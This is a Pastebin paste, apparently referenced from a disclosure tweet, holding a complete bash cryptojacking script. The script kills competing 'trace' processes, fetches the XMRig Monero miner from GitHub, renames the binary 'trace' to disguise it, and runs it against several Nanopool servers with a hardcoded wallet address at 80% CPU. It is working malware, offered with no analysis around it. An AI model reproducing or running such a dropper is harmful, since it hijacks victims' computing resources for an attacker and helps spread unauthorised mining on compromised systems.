cephurs

https://twitter.com/DC3VDP/status/1223260093355044865

Feb 1st, 2020
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. if pgrep trace; then pkill trace; fi
  4.  
  5. threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
  6. hostHash=$(hostname -f | md5sum | cut -c1-8);
  7. echo "${hostHash} - ${threadCount}";
  8.  
  9. rm -rf config.json;
  10.  
  11. d () {
  12.     curl -L --insecure --connect-timeout 20 --max-time 400 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 400 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
  13. }
  14.  
  15. test ! -s trace && \
  16.     d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
  17.     tar -zxvf trace.tgz && \
  18.     mv xmrig-5.0.0/xmrig trace && \
  19.     rm -rf xmrig-5.0.0 && \
  20.     rm -rf trace.tgz;
  21. test ! -x trace && chmod +x trace;
  22.  
  23. k() {
  24.     ./trace \
  25.         -r 2 \
  26.         -R 2 \
  27.         --keepalive \
  28.         --no-color \
  29.         --donate-level 1 \
  30.         --max-cpu-usage 80 \
  31.         --cpu-priority 3 \
  32.         --print-time 25 \
  33.         --threads "${threadCount:-4}" \
  34.         --url "$1" \
  35.         --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
  36.         --pass x \
  37.         --coin xmr \
  38.         --keepalive
  39. }
  40.  
  41. k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444
Add Comment
Please, Sign In to add comment